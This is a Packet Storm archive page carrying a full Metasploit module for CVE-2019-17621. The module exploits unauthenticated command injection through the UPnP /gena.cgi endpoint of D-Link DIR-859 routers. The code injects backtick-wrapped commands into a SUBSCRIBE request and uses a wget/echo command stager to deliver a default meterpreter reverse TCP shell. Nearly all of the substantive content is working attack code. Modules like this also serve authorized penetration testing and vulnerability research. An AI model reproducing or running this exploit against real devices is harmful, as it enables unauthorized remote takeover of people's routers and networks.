exploit the possibilities

D-Link DIR-859 Unauthenticated Remote Command Execution

D-Link DIR-859 Unauthenticated Remote Command Execution
Posted Jan 22, 2020
Authored by Miguel Mendez Z, Pablo Pollanco P | Site metasploit.com

D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP interface. The vulnerability exists in /gena.cgi (function genacgi_main() in /htdocs/cgibin), which is accessible without credentials.

tags | exploit, cgi
advisories | CVE-2019-17621
MD5 | f5cec50c246c0217d1a4e5586f49167e

D-Link DIR-859 Unauthenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DIR-859 Unauthenticated Remote Command Execution',
'Description' => %q{
D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP
interface. The vulnerability exists in /gena.cgi (function genacgi_main() in
/htdocs/cgibin), which is accessible without credentials.
},
'Author' =>
[
'Miguel Mendez Z., @s1kr10s', # Vulnerability discovery and initial exploit
'Pablo Pollanco P.' # Vulnerability discovery and metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-17621' ],
[ 'URL', 'https://medium.com/@s1kr10s/d94b47a15104' ]
],
'DisclosureDate' => 'Dec 24 2019',
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'wget',
'RPORT' => '49152'
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => %w{ echo wget },
'DefaultTarget' => 0,
))

end

def execute_command(cmd, opts)
callback_uri = "http://192.168.0." + Rex::Text.rand_text_hex(2).to_i(16).to_s +
":" + Rex::Text.rand_text_hex(4).to_i(16).to_s +
"/" + Rex::Text.rand_text_alpha(3..12)
begin
send_request_raw({
'uri' => "/gena.cgi?service=`#{cmd}`",
'method' => 'SUBSCRIBE',
'headers' =>
{
'Callback' => "<#{callback_uri}>",
'NT' => 'upnp:event',
'Timeout' => 'Second-1800',
},
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end

def exploit
execute_cmdstager(linemax: 500)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    2 Files
  • 2
    Mar 2nd
    18 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    12 Files
  • 5
    Mar 5th
    19 Files
  • 6
    Mar 6th
    8 Files
  • 7
    Mar 7th
    1 Files
  • 8
    Mar 8th
    1 Files
  • 9
    Mar 9th
    11 Files
  • 10
    Mar 10th
    15 Files
  • 11
    Mar 11th
    9 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    13 Files
  • 14
    Mar 14th
    10 Files
  • 15
    Mar 15th
    13 Files
  • 16
    Mar 16th
    27 Files
  • 17
    Mar 17th
    15 Files
  • 18
    Mar 18th
    23 Files
  • 19
    Mar 19th
    25 Files
  • 20
    Mar 20th
    10 Files
  • 21
    Mar 21st
    6 Files
  • 22
    Mar 22nd
    1 Files
  • 23
    Mar 23rd
    22 Files
  • 24
    Mar 24th
    15 Files
  • 25
    Mar 25th
    22 Files
  • 26
    Mar 26th
    20 Files
  • 27
    Mar 27th
    15 Files
  • 28
    Mar 28th
    10 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close